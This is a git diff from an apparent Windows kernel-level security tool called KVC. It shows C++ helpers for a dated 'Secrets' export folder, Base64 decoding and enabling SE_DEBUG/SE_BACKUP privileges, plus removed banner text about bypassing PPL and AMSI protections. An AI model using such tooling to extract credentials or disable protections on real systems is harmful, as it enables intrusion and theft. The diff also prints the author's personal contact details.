if (downloadsPath.empty()) {
|
||||||
|
return L"";
|
||||||
|
}
|
||||||
|
|
||||||
|
auto now = std::chrono::system_clock::now();
|
||||||
|
auto time = std::chrono::system_clock::to_time_t(now);
|
||||||
|
std::tm tm;
|
||||||
|
localtime_s(&tm, &time);
|
||||||
|
|
||||||
|
wchar_t dateStr[16];
|
||||||
|
swprintf_s(dateStr, L"_%02d.%02d.%04d",
|
||||||
|
tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
|
||||||
|
|
||||||
|
return downloadsPath + L"\\Secrets" + dateStr;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Ensures directory exists, creates if missing including parent directories
|
||||||
|
* @param path Directory path to validate/create
|
||||||
|
* @return bool true if directory exists or was created successfully
|
||||||
|
* @note Uses std::filesystem::create_directories for recursive creation
|
||||||
|
*/
|
||||||
|
inline bool EnsureDirectoryExists(const std::wstring& path) noexcept {
|
||||||
|
if (path.empty()) return false;
|
||||||
|
|
||||||
|
std::error_code ec;
|
||||||
|
if (std::filesystem::exists(path, ec)) {
|
||||||
|
return std::filesystem::is_directory(path, ec);
|
||||||
|
}
|
||||||
|
|
||||||
|
return std::filesystem::create_directories(path, ec) && !ec;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Validates directory write access by creating and deleting test file
|
||||||
|
* @param path Directory path to test
|
||||||
|
* @return bool true if directory is writable, false otherwise
|
||||||
|
* @note Creates directory if it doesn't exist
|
||||||
|
* @note Cleans up test file after validation
|
||||||
|
*/
|
||||||
|
inline bool ValidateDirectoryWritable(const std::wstring& path) noexcept {
|
||||||
|
try {
|
||||||
|
std::filesystem::create_directories(path);
|
||||||
|
|
||||||
|
std::wstring testFile = path + L"\\test.tmp";
|
||||||
|
HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr,
|
||||||
|
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
|
||||||
|
|
||||||
|
if (hTest == INVALID_HANDLE_VALUE) return false;
|
||||||
|
|
||||||
|
CloseHandle(hTest);
|
||||||
|
DeleteFileW(testFile.c_str());
|
||||||
|
return true;
|
||||||
|
} catch (...) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace TimeUtils {
|
||||||
|
/**
|
||||||
|
* @brief Generates formatted timestamp string with multiple output formats
|
||||||
|
* @param format Format specifier: "date_only", "datetime_file", "datetime_display"
|
||||||
|
* @return std::wstring Formatted timestamp in requested format
|
||||||
|
*
|
||||||
|
* Format options:
|
||||||
|
* - "date_only": DD.MM.YYYY (for folder names in Secrets exports)
|
||||||
|
* - "datetime_file": YYYY.MM.DD_HH.MM.SS (for backup filenames)
|
||||||
|
* - "datetime_display": YYYY-MM-DD HH:MM:SS (for reports and logs)
|
||||||
|
*/
|
||||||
|
inline std::wstring GetFormattedTimestamp(const char* format = "datetime_file") noexcept {
|
||||||
|
auto now = std::chrono::system_clock::now();
|
||||||
|
auto time = std::chrono::system_clock::to_time_t(now);
|
||||||
|
std::tm tm;
|
||||||
|
localtime_s(&tm, &time);
|
||||||
|
|
||||||
|
std::wstringstream ss;
|
||||||
|
|
||||||
|
if (strcmp(format, "date_only") == 0) {
|
||||||
|
ss << std::put_time(&tm, L"%d.%m.%Y");
|
||||||
|
}
|
||||||
|
else if (strcmp(format, "datetime_display") == 0) {
|
||||||
|
ss << std::put_time(&tm, L"%Y-%m-%d %H:%M:%S");
|
||||||
|
}
|
||||||
|
else { // datetime_file (default)
|
||||||
|
ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
|
||||||
|
}
|
||||||
|
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace CryptoUtils {
|
||||||
|
/**
|
||||||
|
* @brief Decodes Base64-encoded string to binary data using Windows CryptAPI
|
||||||
|
* @param encoded Base64-encoded std::string
|
||||||
|
* @return std::vector<BYTE> Decoded binary data, empty on failure
|
||||||
|
* @note Uses CryptStringToBinaryA for decoding
|
||||||
|
*/
|
||||||
|
inline std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept {
|
||||||
|
if (encoded.empty()) return {};
|
||||||
|
|
||||||
|
DWORD decodedSize = 0;
|
||||||
|
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
|
||||||
|
nullptr, &decodedSize, nullptr, nullptr)) {
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> decoded(decodedSize);
|
||||||
|
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
|
||||||
|
decoded.data(), &decodedSize, nullptr, nullptr)) {
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
decoded.resize(decodedSize);
|
||||||
|
return decoded;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts byte vector to hexadecimal string representation
|
||||||
|
* @param bytes Binary data to convert
|
||||||
|
* @param maxBytes Maximum bytes to convert (0 = unlimited)
|
||||||
|
* @return std::string Hex string (e.g., "A0E2808B" for {0xA0, 0xE2, 0x80, 0x8B})
|
||||||
|
* @note Appends "..." if truncated due to maxBytes limit
|
||||||
|
*/
|
||||||
|
inline std::string BytesToHex(const std::vector<BYTE>& bytes, size_t maxBytes = 0) noexcept {
|
||||||
|
if (bytes.empty()) return "";
|
||||||
|
|
||||||
|
size_t limit = (maxBytes > 0 && maxBytes < bytes.size()) ? maxBytes : bytes.size();
|
||||||
|
|
||||||
|
std::ostringstream hexStream;
|
||||||
|
hexStream << std::hex << std::setfill('0');
|
||||||
|
|
||||||
|
for (size_t i = 0; i < limit; ++i) {
|
||||||
|
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (maxBytes > 0 && bytes.size() > maxBytes) {
|
||||||
|
hexStream << "...";
|
||||||
|
}
|
||||||
|
|
||||||
|
return hexStream.str();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace PrivilegeUtils {
|
||||||
|
/**
|
||||||
|
* @brief Enables specified privilege in current process token
|
||||||
|
* @param privilege Privilege name constant (e.g., SE_BACKUP_NAME, SE_DEBUG_NAME)
|
||||||
|
* @return bool true if privilege enabled successfully, false on failure
|
||||||
|
*
|
||||||
|
* @note Automatically opens and closes process token
|
||||||
|
* @note Verifies privilege enablement via ERROR_NOT_ALL_ASSIGNED check
|
||||||
|
* @note Required for registry backup/restore, process manipulation, etc.
|
||||||
|
*/
|
||||||
|
inline bool EnablePrivilege(LPCWSTR privilege) noexcept {
|
||||||
|
HANDLE hToken;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(),
|
||||||
|
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LUID luid;
|
||||||
|
if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES tp = {};
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
tp.Privileges[0].Luid = luid;
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp,
|
||||||
|
sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
||||||
|
DWORD lastError = GetLastError();
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
return result && (lastError == ERROR_SUCCESS);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,84 +0,0 @@
|
|||||||
$introText = @"
|
|
||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
"@
|
|
||||||
|
|
||||||
# Get all .cpp files in current directory
|
|
||||||
$cppFiles = Get-ChildItem -Path . -Filter "*.cpp"
|
|
||||||
|
|
||||||
# Count files with and without intro
|
|
||||||
$filesWithIntro = 0
|
|
||||||
$filesWithoutIntro = 0
|
|
||||||
|
|
||||||
foreach ($file in $cppFiles) {
|
|
||||||
$content = Get-Content -Raw $file.FullName
|
|
||||||
$introPattern = [regex]::Escape($introText.Trim())
|
|
||||||
|
|
||||||
if ($content -match $introPattern) {
|
|
||||||
$filesWithIntro++
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$filesWithoutIntro++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Display summary
|
|
||||||
Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow
|
|
||||||
if ($filesWithIntro -gt 0) {
|
|
||||||
$choice = Read-Host "Remove intro from all these files in batch? (Y/N)"
|
|
||||||
if ($choice -eq 'Y' -or $choice -eq 'y') {
|
|
||||||
foreach ($file in $cppFiles) {
|
|
||||||
$content = Get-Content -Raw $file.FullName
|
|
||||||
$introPattern = [regex]::Escape($introText.Trim())
|
|
||||||
|
|
||||||
if ($content -match $introPattern) {
|
|
||||||
$newContent = $content -replace $introPattern, ""
|
|
||||||
$newContent = $newContent.TrimStart()
|
|
||||||
Set-Content -Path $file.FullName -Value $newContent -NoNewline
|
|
||||||
Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow
|
|
||||||
if ($filesWithoutIntro -gt 0) {
|
|
||||||
$choice = Read-Host "Add intro to all these files in batch? (Y/N)"
|
|
||||||
if ($choice -eq 'Y' -or $choice -eq 'y') {
|
|
||||||
foreach ($file in $cppFiles) {
|
|
||||||
$content = Get-Content -Raw $file.FullName
|
|
||||||
$introPattern = [regex]::Escape($introText.Trim())
|
|
||||||
|
|
||||||
if (-not ($content -match $introPattern)) {
|
|
||||||
$newContent = $introText + "`r`n" + $content
|
|
||||||
Set-Content -Path $file.FullName -Value $newContent -NoNewline
|
|
||||||
Write-Host "Added intro to $($file.Name)" -ForegroundColor Green
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Write-Host "Batch operation completed" -ForegroundColor Cyan
|
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// syscalls.cpp
|
// syscalls.cpp
|
||||||
#include "syscalls.h"
|
#include "syscalls.h"
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|||||||
Reference in New Issue
Block a user